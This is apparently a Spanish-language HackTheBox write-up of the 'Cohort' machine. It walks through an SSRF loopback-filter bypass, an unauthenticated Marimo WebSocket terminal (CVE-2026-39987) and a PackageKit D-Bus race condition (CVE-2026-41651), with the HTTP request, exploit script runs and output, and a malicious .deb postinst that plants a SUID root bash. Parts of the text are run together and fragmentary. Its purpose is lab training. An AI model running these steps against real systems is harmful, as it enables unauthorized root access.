
HTB Cohort - SSRF, Marimo pre-auth RCE (CVE-2026-39987) y PackageKit privesc (CVE-2026-41651)
Máquina Cohort (HackTheBox). Cadena de ataque completa:
/api/validate) → descubrimiento de vhost internomarimoLas flags no se incluyen intencionalmente (reglas de HTB).
10.129.93.8 cohort.htb
/api/...)nb-1be3782a8afd3ad5.cohort.htb), no expuesto externamenteLa aplicación exponía un endpoint de validación de URL que obtenía contenido remoto y lo reflejaba. El filtro de URL podía eludirse codificando la dirección de loopback:
POST /api/validate HTTP/1.1
Host: cohort.htb
{"url": "http://127.1:80/status"}
Esto alcanzaba el nginx interno y revelaba los upstreams configurados, incluyendo el
vhost interno de Marimo nb-1be3782a8afd3ad5.cohort.htb → 127.0.0.1:8888.
El manejador del terminal WebSocket del notebook de Marimo no validaba la autenticación.
Conectarse a /terminal/ws genera una shell bash mediante pty.fork().
El vhost interno era alcanzable a través del nginx externo enviando la cabecera
Host interna:
./scripts/marimo_shell.py 10.129.93.8
[+] connected to wss://10.129.93.8/terminal/ws host=nb-1be3782a8afd3ad5.cohort.htb
marimo@cohort:~$
Resultado: shell como marimo (uid 1000).
marimodpkg -l | grep -i packagekit → PackageKit 1.2.8-2ubuntu1.1pkcon / polkit coinciden con el patrón TOCTOU vulnerableuser.txt en /home/marimo/user.txtPackageKit 1.2.8 tiene un fallo de time-of-check / time-of-use: el rol y los
flags de la transacción leídos por el callback idle de GLib pueden ser explotados en una race condition emitiendo dos llamadas D-Bus asíncronas
sobre la misma transacción, de modo que el backend privilegiado ejecuta la segunda llamada (rol NONE,
sin comprobación de autenticación) aunque la primera (SIMULATE) ya haya pasado la comprobación
de autorización.
Se emiten dos llamadas consecutivas sobre la misma transacción:
InstallFiles(SIMULATE=4) — pasa la comprobación de autorización de polkitInstallFiles(NONE=0) — transporta el .deb malicioso, leído como parte del mismo
lote de mensajesEl .deb malicioso ejecuta un script postinst como root que deja un bash SUID:
cp /bin/bash /tmp/.suid_bash && chmod u+s /tmp/.suid_bash
Detalle clave: las dos llamadas deben enviarse juntas para que el backend lea ambos
mensajes en un solo lote. Usar call() asíncrono de GIO + flush_sync():
./scripts/cve-2026-41651_gio.py
[*] CVE-2026-41651 GIO exploit
[+] TxID: /org/freedesktop/PackageKit/Transaction/22/_c3e63a1a
[*] Racing: SIMULATE=4 -> NONE=0 ...
[*] Polling for SUID bash (60s)...
........................[+] SUCCESS: SUID bash at /tmp/.suid_bash
El exploit inicial usaba python-dbus:
./scripts/cve-2026-41651_pydbus.py # ❌ race lost
python-dbus serializa las dos llamadas a InstallFiles en escrituras separadas, por lo que el
callback idle del backend las procesaba como eventos separados y la race condition nunca se producía.
El flush_sync de GIO envía ambos mensajes D-Bus en un único lote de escritura → race condition ganada.
/tmp/.suid_bash -p -c 'id'
# uid=1000(marimo) euid=0(root) ...
/root/root.txt legible.
scripts/
├── marimo_shell.py # CVE-2026-39987 — WebSocket shell as marimo
├── cve-2026-41651_gio.py # CVE-2026-41651 — PackageKit TOCTOU (working, GIO)
└── cve-2026-41651_pydbus.py # CVE-2026-41651 — first attempt (python-dbus, race lost)